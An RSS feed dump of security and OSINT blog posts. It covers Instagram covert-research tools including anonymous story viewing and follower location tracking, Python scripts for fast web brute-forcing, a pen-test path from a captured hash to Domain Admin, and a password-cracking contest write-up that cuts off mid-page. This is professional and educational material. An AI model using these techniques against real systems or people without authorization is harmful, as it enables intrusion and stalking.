<p>Instagram.com doesn’t let you easily search for multiple hashtags. And this might be something you’ll need to do in order to narrow down your relevant results. Although we haven’t run into a special search engine just for this, Google can help you in the mean time.</p> 
 
 
 
<p>Use the following Google dork in order to search for multiple hashtags:</p> 
 
 
 
<img src="https://osintcurio.files.wordpress.com/2019/07/screenshot-2019-07-30-at-22.16.02.png" alt="">Use: <em>inurl:instagram.com/p #summer #amsterdam</em><p>For some reason, I sometimes get different results when putting the hashtags within quotation marks. So make sure you try both, just to be 100% sure you’re searching for all possible options. And you can expand this as much as you’d like.</p> 
 
 
 
<p>If you’re not sure how a hashtag is spelled or wonder if there are hashtags that include more words, check out <a href="https://keywordtool.io/instagram">Keywordtool.io/instagram</a>. Keywordtool lets you search for just the first letters of a hashtag and it will complete as many possible options. It also indicates how many posts can be found with that specific hashtag.</p> 
 
 
 
<p>A bonus is that you can also search Google, YouTube, Bing, Amazon, eBay, Play Store and Twitter.</p> 
 
 
 
<img src="https://osintcurio.files.wordpress.com/2019/09/screenshot-2019-09-25-at-21.01.39.png?w=1024" alt="">Example of keywordtool.io/instagram<h2>Searching for keywords in an Instagram post</h2> 
 
 
 
<p>In the first post, we suggested to use Google to search for keywords used in the posts. This could be done by using a Google operator (<em>Inurl:instagram.com/p/ “keyword”</em> (replace ‘keyword’ by any keyword you like). Of course, you could use the ‘Tools’ section in Google to select a specific time range.</p> 
 
 
 
<p>If you’re looking for another website to do this for you, check out <a href="http://mulpix.com/instagram/">mulpix.com/instagram</a>. This tool gives you also the option to filter between posts and videos. It also gives you some statistic on the used keywords.</p> 
 
 
 
<img src="https://osintcurio.files.wordpress.com/2019/09/screenshot-2019-09-25-at-21.17.07.png?w=1024" alt="">Example of mulpix.com/instagram<h2>Viewing stories anonymously</h2> 
 
 
 
<p>Want to view public stories anonymously? Use <a href="http://stalker-stories.com">stalker-stories.com</a> to view public stories without having to log on to an Instagram account.</p> 
 
 
 
<p>Extra bonus is that the website also lets you download the stories.</p> 
 
 
 
<img src="https://osintcurio.files.wordpress.com/2019/07/screenshot-2019-07-28-at-20.39.43.png" alt="">Stalkerstories.com<h2>Tracking your ‘following’</h2> 
 
 
 
<p>The Wired wrote an <a href="https://www.wired.com/story/whos-in-town-map-instagram-location-history/">article</a> about this very interesting app called ‘Who’s In Town?’ This app lets you connect with your Instagram account and you’ll be able to see where your friends (the people you follow) have checked in. On a map you can see where they went (this could include where they live, work. eat, workout, etc). Although this might be interesting in case you want to meet up with people you follow, this could be very interesting from an OSINT perspective. If you have a research account and you follow a specific type of people, this could give you a really nice insight in where they might go and what they might like.</p> 
 
 
 
<p>If you might wonder how to create a ‘research account’, click <a href="https://osintcurio.us/2018/12/27/the-puppeteer/">here</a>, we’ve wrote a blog and explain to you what you should take in to consideration.</p> 
 
 
 
<p>‘Who’s in Town?’ can be downloaded <a href="https://whosintown.app/">here</a> (iOS &amp; Android).</p> 
 
 
 
<img src="https://osintcurio.files.wordpress.com/2019/07/screenshot-2019-07-28-at-20.42.30.png" alt="">Whosintown.app<h2>Knowing when your followers/following are most active</h2> 
 
 
 
<p>Let’s say you’ve got a research profile with a lot of followers (must be over 100) and you’re interested in knowing who of them might be most active. Maybe because you can then tailer posts for them or you could figure out more about your target group. </p> 
 
 
 
<p>In this case, you could consider switching your Instagram account to a ‘business’ account. This is an option you can do yourself. You won’t need the permission from Instagram to switch on this option.</p> 
 
 
 
<p>Here is how you switch it on in your profile (A<em>ttention</em>: only possible via the mobile app):</p> 
 
 
 
<ol><li>Open your Instagram account in the mobile app</li><li>Click in the bottom right on the little puppet icon in the app</li><li>Choose the ‘hamburger’ menu in the top right </li><li>Choose the gear icon ‘Settings’</li><li>Select ‘Account’</li><li>Choose ‘Switch to Business profile’</li></ol><p>You’re now asked to give some contact details like your email address, phone number, or physical location. This is because when you want to be a ‘business profile’ it is important that your customers can contact you. Be aware that this also means that people who view your profile, can recognise you’re a business account.</p> 
 
 
 
<p>If you have one hundred followers or more, you’ll be able to see <a href="https://help.instagram.com/1533933820244654">Insights</a>. Insights are analytics on your followers.</p> 
 
 
 
<p>These Insights can tell you when your followers are active, their gender, their age, and much much more. If you are interested, check out this blog by <a href="https://www.wordstream.com/blog/ws/2018/11/01/instagram-analytics">Wordstream</a> explaining how to use your Instagram account for marketing purposes. But keep reading with you ‘osint-glasses’ <img src="https://s0.wp.com/wp-content/mu-plugins/wpcom-smileys/twemoji/2/72x72/1f642.png" alt="🙂"></p> 
 
 
 
<h2>Statistics on a specific Instagram profile</h2> 
 
 
 
<p>In the first ‘Seaching Instagram’ post, we suggested to use <a href="http://statflux.com">Statflux.com</a> to show you statistics on an Instagram account. In the example in part 1 we used Mark Zuckbergs profile as an example.</p> 
 
 
 
<p>But <a href="https://stalkture.com">Stalkture.com</a> shows you even more data. Check out the statistics on <a href="https://stalkture.com/a/zuck/314216">Zuckerberg’s profile</a>:</p> 
 
 
 
<img src="https://osintcurio.files.wordpress.com/2019/09/screenshot-2019-09-25-at-21.25.04.png?w=1024" alt="">Example of Stalkture.com/a/zuck/314216<p>When you scroll down, you won’t only see the ranking statistics, but also the filters used, most popular/commented/liked posts and much more. Give it a spin!</p> 
 
 
 
<h2>Got any other awesome Instagram tools or trics?</h2> 
 
 
 
<p>We’d love to hear from you!</p> 
 
 
 
<p>Just like you we’re looking to get the most out of Instagram so if you have a great source to share, contact one of the writers or post a comment below!</p> 
 
 
 
<p>Also check out this Twitter thread by <a href="https://twitter.com/henkvaness/status/1172090507369095174">@henkvaness</a> about some handy Instagram tools!</p> 
 
 
 
<p>This blog was co-written by <a href="http://twitter.com/technisette">@technisette</a>, <a href="http://twitter.com/sector035">@Sector035</a> &amp; <a href="https://twitter.com/kirbstr">@kirbstr</a>.</p> 
 
 
 
<p>P.S. Liked this post? Sponsor The OSINT Curious Project via <a href="https://www.patreon.com/osintcurious">Patreon</a> for as little as $1 per month <img src="https://s0.wp.com/wp-content/mu-plugins/wpcom-smileys/twemoji/2/72x72/1f642.png" alt="🙂"> Thanks!</p>]]></description>
<pubDate>Wed, 18 Dec 2019 21:05:18 +0000</pubDate>
<dc:creator>technisette</dc:creator>
<source url="https://osintcurio.us/">We are OSINTCurio.us</source>
<guid isPermaLink="false">http://www.inoreader.com/article/3a9c6e78b48656c7</guid>
</item>
<item>
<title>High Performance Web Brute-Forcing 🕸🐏</title>
<link>http://hiburn8.org/index.php/2018/09/13/high-performance-web-brute-forcing/</link>
<description><![CDATA[<p>Finding and exploiting bespoke attacks on web applications is, of-course, exciting… but I find that performing the most simple of attacks, but as efficiently and effectively as possible, can also feel pretty damn rewarding.</p> 
<p>In this short post i’ll show you how writing just a few lines of code can have immense gains on web request brute-force attacks, versus using the tools you would probably reach for right now (let’s be honest, it’s Burp).</p> 
<p><span></span></p> 
<p>The task shares huge commonality with offline password cracking; where performance and strategy are everything. Much like a lot of my colleagues who are totally hooked on password cracking, i find the problem of effective web brute-forcing a seriously  under-appreciated art.</p> 
<p>As a rather contrived example, let’s say we wanted to brute-force Wikipedia pages looking for the word ‘Luftballons’.</p> 
<p>We’ll start with our base URL of https://en.wikipedia.org/wiki/<strong>0 </strong>(<em>that’s a zero</em>), and increment <strong>0</strong> until we find ‘Luftballons’, on page <strong>99</strong>.</p> 
<p>Lets see that attack in python using the <em>Requests</em> module:</p><pre>import httplib,time, requests
 
from timeit import default_timer as timer
 
start = timer()
 
for x in range(0,100):
 
	r = requests.get('https://en.wikipedia.org/wiki/' + str(x))
 
	if 'Luftballons' in r.text:
 
		print (timer() - start)</pre><p>Execution time: <span><strong>13.9255948067</strong> </span><span><strong>seconds</strong>. Horrendously slow.</span></p> 
<p>Now, I know what you might be thinking… is Requests too high an API to work at speed? Is it bloated and slow compared to say, using raw sockets or something from the standard libary? Well, absolutely not. For a starter, Request is built on the speedy urllib3, but comes with a bunch of smart benefits we’re already taking advantage of without realising:</p> 
<ul><li>The <em>gzip</em> and <em>deflate</em> <a href="https://www.iana.org/assignments/http-parameters/http-parameters.xhtml">transfer-encodings</a> are supported, so we can receive compressed server responses. This means there is less data on the wire, and we can move more of it in the same amount of time. The benefit is far superior to the processing time required to pack and unpack the server responses.</li> 
<li>Persistent DNS. Contrary to what I have read on StackOverflow, using Requests with a single TCP connection does not appear to trigger DNS resolution on each request, it seems to do it once. If you can imaging having to do a full DNS resolve for each request, as some libraries might, the performance hit would be significant.</li> 
</ul><p>The problem then, is we are just using Requests really inefficiently.</p> 
<p>It doesn’t seem to be common knowledge, but Burp opens up a new TCP connection for every single Intruder request, which has a huge overhead on long brute-force attacks. This is what our script was doing too. Lets see what happens if we modify it to reuse the same connection:</p><pre>print 'Trying with requests single connection'
 
start2 = timer()
 
<strong>s</strong> = requests.<strong>Session</strong>()
 
for x in range(0,100):
 
	r = <strong>s.get</strong>('https://en.wikipedia.org/wiki/' + str(x))
 
	if 'Luftballons' in r.text:
 
		print (timer() - start2)</pre><p></p> 
<p><span>Execution time: </span><strong><span>3.16235017776</span></strong><span>. Much, much faster.</span></p> 
<p>Now if we repeat this attack in Burp, it’ll still have a considerable edge… why? because of <strong>threads</strong>.</p> 
<p>For a short attack like this, Burp’s default of 5 threads keeps it in line with even highly efficient code. But the longer the attack runs, the greater the time wasted to creating new TCP connections. A few hours into an attack and you’ve wasted <em>lots</em> of time.</p> 
<p>When Burp says it has 5 thread, what it means is that it can make 5 simultaneous requests via their own connections. But we only have one connection, so lets implement 5 threads that reuse that one connection in our example:</p><pre>import time, requests
 
from timeit import default_timer as timer
 
from multiprocessing.dummy import Pool as ThreadPool
 

 
start3 = timer()
 
s = requests.Session()
 
payloads = []
 
for x in range(0,100):
 
	payloads.append('https://en.wikipedia.org/wiki/' + str(x))
 

 
def worker6(payload): 
 
	r = s.get(payload)
 
	if 'Luftballons' in r.text:
 
		print (timer() - start3)
 

 
pool = ThreadPool(5) 
 
results = pool.map(worker6, payloads)
 
pool.close() 
 
pool.join()</pre><p></p> 
<p><span>Execution time: <strong>0.93794298172</strong>. Very fast. Under the same conditions, this will stomp all over Burp; and pretty much anything else you can expect to make without considerable effort.</span></p> 
<p>Room for improvement? sure!:</p> 
<p>So the main problem with Request, and almost all http libraries, is that they don’t support <em>HTTP Pipelining</em>. HTTP Pipelining is the idea of firing multiple requests through a single TCP connection, without having to wait for each response synchronously. If you look at our last code snippet, it looks like thats exactly what we are doing, but unfortunately we’re not. The Requests library actually locks a TCP connection until it has fully read the response content from the last request. The main reason we are able to get such a big perfomance boost from threads, is that we already have our next requests queued up on the connection and ready to fire the moment it’s available to use by the next worker thread. We’ve effectively just minimised the delay this connection sharing was causing us. Pipelining has its own issues, for example its not supported on all webserver, and connection issues are much harder to deal with if you have bits of multiple requests already in transit.</p> 
<p>To get around these limitations but still reap the performance of asynchronous requests, we can do one obvious thing: <strong>increase the amount of connections</strong>.</p> 
<p>We can wrap our last code snippet into 5 threads of its own. This gives us 5 TCP connections, each working as fast as possible to synchronously fire out requests. This is as close we can easily get to HTTP pipelining, but is arguably a far more stable attack.</p> 
<p>If you really want to play with <em>true </em>pipelining, take a look at Ruby’s <a href="https://github.com/igrigorik/em-http-request/wiki/Keep-Alive-and-HTTP-Pipelining">em-http-request</a>.</p> 
<p>Hopefully this gives you some ideas of how to script basic, yet efficient, brute-force attacks. Don’t assume that because a tool already exists for a job that it means it does it best. As a pen-tester, time is precious and we need to spend it wisely.</p> 
<p>-Hiburn8</p> 
<h5>Note: So burp has no time measurement feature in Intruder, so I created a hack to figure out roughly how fast burp is at making requests. Essentially, I created a jython plugin which registers an extension-generated payload for use in Intruder. When this plugin is called upon to create a payload, it returns an empty string payload, but logs the current time in microseconds to the plugin console. This doesn’t give us the exact that time requests were issued or completed… but does help us figure out how fast burp is generating requests to send, which, alone, is twice as slow as the last example here in all of my test cases.</h5>]]></description>
<pubDate>Thu, 11 Oct 2018 17:43:06 +0000</pubDate>
<dc:creator>hiburn8</dc:creator>
<source url="http://hiburn8.org/">hiburn8</source>
<guid isPermaLink="false">http://www.inoreader.com/article/3a9c6e79b9cd3e0f</guid>
</item>
<item>
<title>The Dangers of Client Probing on Palo Alto Firewalls</title>
<link>https://www.n00py.io/2018/08/the-dangers-of-client-probing-on-palo-alto-firewalls/</link>
<description><![CDATA[<p>While performing a routine internal penetration test, I began the assessment by running <a href="https://github.com/lgandx/Responder">Responder</a> in analyze mode just to get an idea of what was being sent over broadcast. Much to my surprise, I found that shortly after running it, a hash was captured by Responder’s SMB listener.</p> 
<p><a href="https://www.n00py.io/wp-content/uploads/2018/08/analyze.png"><img src="https://www.n00py.io/wp-content/uploads/2018/08/analyze.png" alt="" width="697" height="92"></a></p> 
<p>This hash belonged to an account named “panagent,” which I assumed to mean PAN (Palo Alto Networks) agent. I threw the hash into <a href="https://hashcat.net/hashcat/">Hashcat</a> and shortly thereafter I was able to recover the plaintext password. Using <a href="https://github.com/byt3bl33d3r/CrackMapExec">CrackMapExec</a>, I sprayed these credentials against internal systems within the local network and found that they had administrator access on multiple hosts within the environment.</p> 
<p><a href="https://www.n00py.io/wp-content/uploads/2018/08/cme.png"><img src="https://www.n00py.io/wp-content/uploads/2018/08/cme.png" alt="" width="653" height="123"></a></p> 
<p>After gaining admin access on these systems, I performed what is known as the “<a href="https://adsecurity.org/?p=2362">credential shuffle</a>” until I compromised the credentials for an account within the “Domain Admins” group. So, what happened?</p> 
<p>Read the full article posted on the Coalfire Labs blog: <a href="https://www.coalfire.com/The-Coalfire-Blog/August-2018/The-Dangers-Client-Probing-on-Palo-Alto-Firewalls">The Dangers of Client Probing on Palo Alto Firewalls</a></p> 
 
<div><a href="https://twitter.com/intent/tweet?url=https%3A%2F%2Fwww.n00py.io%2F2018%2F08%2Fthe-dangers-of-client-probing-on-palo-alto-firewalls%2F&amp;via=n00py1">Tweet</a></div>]]></description>
<pubDate>Thu, 23 Aug 2018 14:49:17 +0000</pubDate>
<dc:creator>n00py</dc:creator>
<source url="https://www.n00py.io/">n00py Blog</source>
<guid isPermaLink="false">http://www.inoreader.com/article/3a9c6e7e54227274</guid>
</item>
<item>
<title>Crack me if you can 2018 write-up</title>
<link>https://blog.cynosureprime.com/2018/08/crack-me-if-you-can-2018-write-up.html</link>
<description><![CDATA[<h2></h2><div style="text-align:center;"><img src="https://4.bp.blogspot.com/-MHnlCPkyNIo/V35cehmi71I/AAAAAAAAAbs/st2IjfVv7SgVltJa-mxhHPQy0XPI1CjKgCKgB/s320/CSP.png" alt="CSP.png"></div><span style="font-family:arial;font-size:14.6667px;white-space:pre-wrap;"></span><div style="text-align:center;">Crack me if you can write-up 2018 </div><div style="text-align:center;"><span><br></span><br><div dir="ltr" style="margin-left:0pt;"><table style="border-collapse:collapse;border:none;"><colgroup><col width="340"><col width="139"></colgroup><tbody><tr style="height:24pt;"><td style="border-bottom:solid #000000 .5pt;border-left:solid #000000 .5pt;border-right:solid #000000 .5pt;border-top:solid #000000 .5pt;padding:5pt 5pt 5pt 5pt;vertical-align:top;"><div dir="ltr" style="line-height:1.38;margin-bottom:0pt;margin-top:0pt;"><span style="font-family:arial;font-size:11pt;font-weight:700;vertical-align:baseline;white-space:pre-wrap;">Active participating members</span></div></td><td style="border-bottom:solid #000000 .5pt;border-left:solid #000000 .5pt;border-right:solid #000000 .5pt;border-top:solid #000000 .5pt;padding:5pt 5pt 5pt 5pt;vertical-align:top;"><div dir="ltr" style="line-height:1.38;margin-bottom:0pt;margin-top:0pt;"><span style="font-family:arial;font-size:11pt;vertical-align:baseline;white-space:pre-wrap;">15</span></div></td></tr><tr style="height:24pt;"><td style="border-bottom:solid #000000 .5pt;border-left:solid #000000 .5pt;border-right:solid #000000 .5pt;border-top:solid #000000 .5pt;padding:5pt 5pt 5pt 5pt;vertical-align:top;"><div dir="ltr" style="line-height:1.38;margin-bottom:0pt;margin-top:0pt;"><span style="font-family:arial;font-size:11pt;font-weight:700;vertical-align:baseline;white-space:pre-wrap;">GPUs equivalent to GTX1080 peak </span></div></td><td style="border-bottom:solid #000000 .5pt;border-left:solid #000000 .5pt;border-right:solid #000000 .5pt;border-top:solid #000000 .5pt;padding:5pt 5pt 5pt 5pt;vertical-align:top;"><div dir="ltr" style="line-height:1.38;margin-bottom:0pt;margin-top:0pt;"><span style="font-family:arial;font-size:11pt;vertical-align:baseline;white-space:pre-wrap;">60</span></div></td></tr><tr style="height:24pt;"><td style="border-bottom:solid #000000 .5pt;border-left:solid #000000 .5pt;border-right:solid #000000 .5pt;border-top:solid #000000 .5pt;padding:5pt 5pt 5pt 5pt;vertical-align:top;"><div dir="ltr" style="line-height:1.38;margin-bottom:0pt;margin-top:0pt;"><span style="font-family:arial;font-size:11pt;font-weight:700;vertical-align:baseline;white-space:pre-wrap;">GPUs equivalent to GTX1080 constant </span></div></td><td style="border-bottom:solid #000000 .5pt;border-left:solid #000000 .5pt;border-right:solid #000000 .5pt;border-top:solid #000000 .5pt;padding:5pt 5pt 5pt 5pt;vertical-align:top;"><div dir="ltr" style="line-height:1.38;margin-bottom:0pt;margin-top:0pt;"><span style="font-family:arial;font-size:11pt;vertical-align:baseline;white-space:pre-wrap;">40</span></div></td></tr><tr style="height:24pt;"><td style="border-bottom:solid #000000 .5pt;border-left:solid #000000 .5pt;border-right:solid #000000 .5pt;border-top:solid #000000 .5pt;padding:5pt 5pt 5pt 5pt;vertical-align:top;"><div dir="ltr" style="line-height:1.38;margin-bottom:0pt;margin-top:0pt;"><span style="font-family:arial;font-size:11pt;font-weight:700;vertical-align:baseline;white-space:pre-wrap;">CPU threads peak</span></div></td><td style="border-bottom:solid #000000 .5pt;border-left:solid #000000 .5pt;border-right:solid #000000 .5pt;border-top:solid #000000 .5pt;padding:5pt 5pt 5pt 5pt;vertical-align:top;"><div dir="ltr" style="line-height:1.38;margin-bottom:0pt;margin-top:0pt;"><span style="font-family:arial;font-size:11pt;vertical-align:baseline;white-space:pre-wrap;">1300</span></div></td></tr><tr style="height:24pt;"><td style="border-bottom:solid #000000 .5pt;border-left:solid #000000 .5pt;border-right:solid #000000 .5pt;border-top:solid #000000 .5pt;padding:5pt 5pt 5pt 5pt;vertical-align:top;"><div dir="ltr" style="line-height:1.38;margin-bottom:0pt;margin-top:0pt;"><span style="font-family:arial;font-size:11pt;font-weight:700;vertical-align:baseline;white-space:pre-wrap;">CPU threads constant</span></div></td><td style="border-bottom:solid #000000 .5pt;border-left:solid #000000 .5pt;border-right:solid #000000 .5pt;border-top:solid #000000 .5pt;padding:5pt 5pt 5pt 5pt;vertical-align:top;"><div dir="ltr" style="line-height:1.38;margin-bottom:0pt;margin-top:0pt;"><span style="font-family:arial;font-size:11pt;vertical-align:baseline;white-space:pre-wrap;">600</span></div></td></tr><tr style="height:24pt;"><td style="border-bottom:solid #000000 .5pt;border-left:solid #000000 .5pt;border-right:solid #000000 .5pt;border-top:solid #000000 .5pt;padding:5pt 5pt 5pt 5pt;vertical-align:top;"><div dir="ltr" style="line-height:1.38;margin-bottom:0pt;margin-top:0pt;"><span style="font-family:arial;font-size:11pt;font-weight:700;vertical-align:baseline;white-space:pre-wrap;">Contest related Instant Messages sent</span></div></td><td style="border-bottom:solid #000000 .5pt;border-left:solid #000000 .5pt;border-right:solid #000000 .5pt;border-top:solid #000000 .5pt;padding:5pt 5pt 5pt 5pt;vertical-align:top;"><div dir="ltr" style="line-height:1.38;margin-bottom:0pt;margin-top:0pt;"><span style="font-family:arial;font-size:11pt;vertical-align:baseline;white-space:pre-wrap;">~7000</span></div></td></tr><tr style="height:24pt;"><td style="border-bottom:solid #000000 .5pt;border-left:solid #000000 .5pt;border-right:solid #000000 .5pt;border-top:solid #000000 .5pt;padding:5pt 5pt 5pt 5pt;vertical-align:top;"><div dir="ltr" style="line-height:1.38;margin-bottom:0pt;margin-top:0pt;"><span style="font-family:arial;font-size:11pt;font-weight:700;vertical-align:baseline;white-space:pre-wrap;">Hash:plain submissions to internal platform</span></div></td><td style="border-bottom:solid #000000 .5pt;border-left:solid #000000 .5pt;border-right:solid #000000 .5pt;border-top:solid #000000 .5pt;padding:5pt 5pt 5pt 5pt;vertical-align:top;"><div dir="ltr" style="line-height:1.38;margin-bottom:0pt;margin-top:0pt;"><span style="font-family:arial;font-size:11pt;vertical-align:baseline;white-space:pre-wrap;">&gt;5300</span></div></td></tr><tr style="height:25pt;"><td style="border-bottom:solid #000000 .5pt;border-left:solid #000000 .5pt;border-right:solid #000000 .5pt;border-top:solid #000000 .5pt;padding:5pt 5pt 5pt 5pt;vertical-align:top;"><div dir="ltr" style="line-height:1.38;margin-bottom:0pt;margin-top:0pt;"><span style="font-family:arial;font-size:11pt;font-weight:700;vertical-align:baseline;white-space:pre-wrap;">Hash:plain submissions to Korelogic</span></div></td><td style="border-bottom:solid #000000 .5pt;border-left:solid #000000 .5pt;border-right:solid #000000 .5pt;border-top:solid #000000 .5pt;padding:5pt 5pt 5pt 5pt;vertical-align:top;"><div dir="ltr" style="line-height:1.38;margin-bottom:0pt;margin-top:0pt;"><span style="font-family:arial;font-size:11pt;vertical-align:baseline;white-space:pre-wrap;">2293</span></div></td></tr></tbody></table></div><span></span><br><div dir="ltr" style="margin-left:0pt;text-align:left;"><span><br></span></div><span></span><br><div dir="ltr" style="margin-left:0pt;text-align:left;"><span><span style="font-family:arial;font-size:11pt;font-weight:700;vertical-align:baseline;white-space:pre-wrap;">Members</span></span></div><span></span><br><div dir="ltr" style="margin-left:0pt;text-align:left;"><span><span><span style="font-family:arial;font-size:11pt;vertical-align:baseline;white-space:pre-wrap;">blazer cvsi espira gearjunkie hops m33x mastercracker milzo jimbas mexx666666 s3in!c usasoft user vetronexe winxp5421</span></span></span></div><span></span><br><div dir="ltr" style="margin-left:0pt;text-align:left;"><span><span style="font-family:arial;font-size:11pt;font-weight:700;vertical-align:baseline;white-space:pre-wrap;"><br></span></span></div><span></span><div dir="ltr" style="margin-left:0pt;text-align:left;"><span><span></span><br></span><div dir="ltr" style="line-height:1.38;margin-bottom:0pt;margin-top:0pt;"><span><span><span style="font-family:arial;font-size:11pt;font-weight:700;vertical-align:baseline;white-space:pre-wrap;">Prep</span></span></span></div><span><span></span></span><br><div dir="ltr" style="line-height:1.38;margin-bottom:0pt;margin-top:0pt;text-align:justify;"><span><span><span style="font-family:arial;font-size:11pt;vertical-align:baseline;white-space:pre-wrap;">After hearing news that Korelogic would be awarding bonus points for first unique founds, we took precautions to tune our submission process to ensure we could capitalise on this bonus. To avoid false spam triggers, an alternate email provider that supported bulk inbound/outbound requests was used. In addition, various functions on our hash management platform were disabled and tweaked such that the hash:plain pairs could be processed and uploaded quickly at a constant but not too aggressive rate.  We only had a handful of submission troubles which were rectified quickly on our end.</span></span></span></div><span><span></span></span><br><div><span><span><span style="font-family:arial;font-size:11pt;vertical-align:baseline;white-space:pre-wrap;"><br></span></span></span></div><span><span></span></span><br><div><span><span><span style="vertical-align:baseline;"></span><br></span></span><br><div dir="ltr" style="font-family:Arial;font-size:11pt;line-height:1.38;margin-bottom:0pt;margin-top:0pt;white-space:pre-wrap;"><span><span><span style="vertical-align:baseline;"><span style="font-size:11pt;font-weight:700;vertical-align:baseline;">Patterns</span></span></span></span></div><span><span><span style="vertical-align:baseline;"></span></span></span><br><div dir="ltr" style="font-family:Arial;font-size:11pt;line-height:1.38;margin-bottom:0pt;margin-top:0pt;text-align:justify;white-space:pre-wrap;"><span><span><span style="vertical-align:baseline;"><span style="font-size:11pt;vertical-align:baseline;">It was quite cheeky for Korelogic to use usernames from the competing teams as plaintexts and this was spotted quite early on in our MD5 list. Similarly, they were seen in the SSHA, MD5(unix) lists, we also noticed that each algorithm was assigned a specific range of starting characters. Seeing as that the other teams were getting bcrypts it appeared that these were possible, and this was where all the points were at.  While some of our members continued to collect points by exploiting the 4x first unique found bonus for the lower scoring hashes, others worked on trying to get a break on bcrypt hashes using the patterns we spotted. It was not long before we found the starting characters for the bcrypt hashes using the usernames in double combo mode. </span></span></span></span></div><span><span><span style="vertical-align:baseline;"></span></span></span><br><div style="font-family:Arial;font-size:11pt;white-space:pre-wrap;"><span><span><span style="vertical-align:baseline;"><span style="font-family:arial;font-size:11pt;vertical-align:baseline;white-space:pre-wrap;"><br></span></span></span></span></div><span><span><span style="vertical-align:baseline;"><b style="font-family:Arial;font-size:11pt;white-space:pre-wrap;">Strategy</b></span></span></span><br><div dir="ltr" style="font-family:Arial;font-size:11pt;line-height:1.38;margin-bottom:0pt;margin-top:0pt;text-align:justify;white-space:pre-wrap;"><span><span><span style="vertical-align:baseline;"><span style="font-size:11pt;vertical-align:baseline;">Once we had the first bcrypt hit, we tried to uncover the complete list of usernames from the plains found in the faster algorithms. After we were confident we had a solid pattern, we brought up many CPU crackers running <a href="https://hashes.org/mdxfind.php">MDXfind</a> to work solely on bcrypt hashes. It was a little chaotic initially as we tried to figure out the best way to distribute the workload for bcrypt hashes. One of our members then stepped up and became the central point for distributing the tasks but the task distribution and request was still done manually. Soon another member whipped up a semi-automated procedure where each member could request custom tasks from a central distribution list. During our peak we utilised roughly 1300 CPU threads but we had around 600 sustained threads throughout the contest. A small cluster of 16 odroids (XU4) running MDXfind-ARM were also used to attack the bcrypt hashes. Sidenote, it was relatively cheap and efficient to attack bcrypts using ARM cores. </span><span style="font-family:arial;font-size:11pt;">Each odroid gave us roughly 50H/s (800H/s in total) for the contest’s bcrypt hashes (cost factor 10) and the cluster in total uses approximately 200W. This results in a efficiency of 4H/s/W.</span></span></span></span></div><span><span><span style="vertical-align:baseline;"></span></span></span><div dir="ltr" style="font-family:Arial;font-size:11pt;line-height:1.38;margin-bottom:0pt;margin-top:0pt;text-align:justify;white-space:pre-wrap;"><span><span><span style="vertical-align:baseline;"><span style="font-size:11pt;vertical-align:baseline;">Due to the unfriendly nature of bcrypt on GPU, all GPU resources were reserved for the other 3 algorithms which worked much more efficiently with <a href="https://hashcat.net/">hashcat</a> GPU. Members were free to decide whether they wanted work on patterns alone which some opted to and devised their own methods and scripts which they used to attack patterns on the algorithms, while other joined the <a href="https://github.com/s3inlc/hashtopolis">hashtopolis </a>instance which had around the equivalent of 60 GTX1080s.</span></span></span></span></div><span><span><span style="vertical-align:baseline;"></span></span></span><br><div dir="ltr" style="font-family:Arial;font-size:11pt;line-height:1.38;margin-bottom:0pt;margin-top:0pt;text-align:justify;white-space:pre-wrap;"><span><span><span style="vertical-align:baseline;"><span style="font-size:11pt;vertical-align:baseline;">We were generally quite close score wise with team hashcat and trailed them for the first 15 hours or so into the contest. When one of our members woke up and submitted over 100 unique bcrypts we leapfrogged over hashcat into first place and took a comfortable commanding lead. This was a great morale boost and more CPU instances were placed onto bcrypt as we realized other teams were using different patterns from us and we had identified a very efficient one which yield many hits for little work. Additional patterns were later identified, such as one where popular suffixes (pass01, pass02 etc) were used across all of the algos); though these did not seem as efficient as the username combos.</span></span></span></span></div><span><span><span style="vertical-align:baseline;"></span></span></span><div style="font-family:Arial;font-size:11pt;white-space:pre-wrap;"><span style="font-family:arial;font-size:11pt;vertical-align:baseline;white-space:pre-wrap;"><br></span></div><div style="font-family:Arial;font-size:11pt;white-space:pre-wrap;"><span style="font-family:arial;font-size:11pt;vertical-align:baseline;white-space:pre-wrap;"><b>Some stats from our hash management platform showing rate of uploads</b></span></div><div style="font-family:Arial;font-size:11pt;white-space:pre-wrap;"><span style="font-family:arial;font-size:11pt;vertical-align:baseline;white-space:pre-wrap;"><b><br></b></span></div><div style="font-family:Arial;font-size:11pt;white-space:pre-wrap;"><span style="font-family:arial;font-size:11pt;vertical-align:baseline;white-space:pre-wrap;"><b>MD5(Unix)</b></span></div><div style="font-family:Arial;font-size:11pt;white-space:pre-wrap;"><span style="font-family:arial;font-size:11pt;vertical-align:baseline;white-space:pre-wrap;"><br></span></div><div style="font-family:Arial;font-size:11pt;white-space:pre-wrap;"><div style="clear:both;text-align:center;"><a href="https://4.bp.blogspot.com/-SBlzTgEEMn8/W3wp_8eSgHI/AAAAAAAAA_4/kntOcBbVO8YvaqrdasPX9QGGLEofAOEmgCLcBGAs/s1600/MD5_unix.PNG" style="font-family:'times new roman';font-size:medium;margin-left:1em;margin-right:1em;text-align:center;white-space:normal;"><img height="193" src="https://4.bp.blogspot.com/-SBlzTgEEMn8/W3wp_8eSgHI/AAAAAAAAA_4/kntOcBbVO8YvaqrdasPX9QGGLEofAOEmgCLcBGAs/s640/MD5_unix.PNG" width="640" alt="MD5_unix.PNG"></a></div><span style="font-family:arial;font-size:11pt;vertical-align:baseline;white-space:pre-wrap;"></span></div><div style="font-family:Arial;font-size:11pt;white-space:pre-wrap;"><br></div><div style="font-family:Arial;font-size:11pt;white-space:pre-wrap;"><b>SSHA</b></div><div style="clear:both;text-align:center;"><a href="https://2.bp.blogspot.com/-jvhMQ0QXtsA/W3wqtk-2f6I/AAAAAAAABAA/loFvDSs6BaEuT1cL3UyiNl-SLrnbxtUDACLcBGAs/s1600/2.PNG" style="margin-left:1em;margin-right:1em;"><img height="194" src="https://2.bp.blogspot.com/-jvhMQ0QXtsA/W3wqtk-2f6I/AAAAAAAABAA/loFvDSs6BaEuT1cL3UyiNl-SLrnbxtUDACLcBGAs/s640/2.PNG" width="640" alt="2.PNG"></a></div><div style="font-family:Arial;font-size:11pt;white-space:pre-wrap;"><span style="font-family:arial;font-size:11pt;vertical-align:baseline;white-space:pre-wrap;"><b>MD5</b></span></div><div style="font-family:Arial;font-size:11pt;white-space:pre-wrap;"><span style="font-family:arial;font-size:11pt;vertical-align:baseline;white-space:pre-wrap;"><br></span></div><div style="clear:both;text-align:center;"><a href="https://3.bp.blogspot.com/--Yxm3OKmCA0/W3wrQZUKXpI/AAAAAAAABAM/XY0eVc1wZcAXHe54dneIAMSR5hkIMg2XgCLcBGAs/s1600/3.PNG" style="margin-left:1em;margin-right:1em;"><img 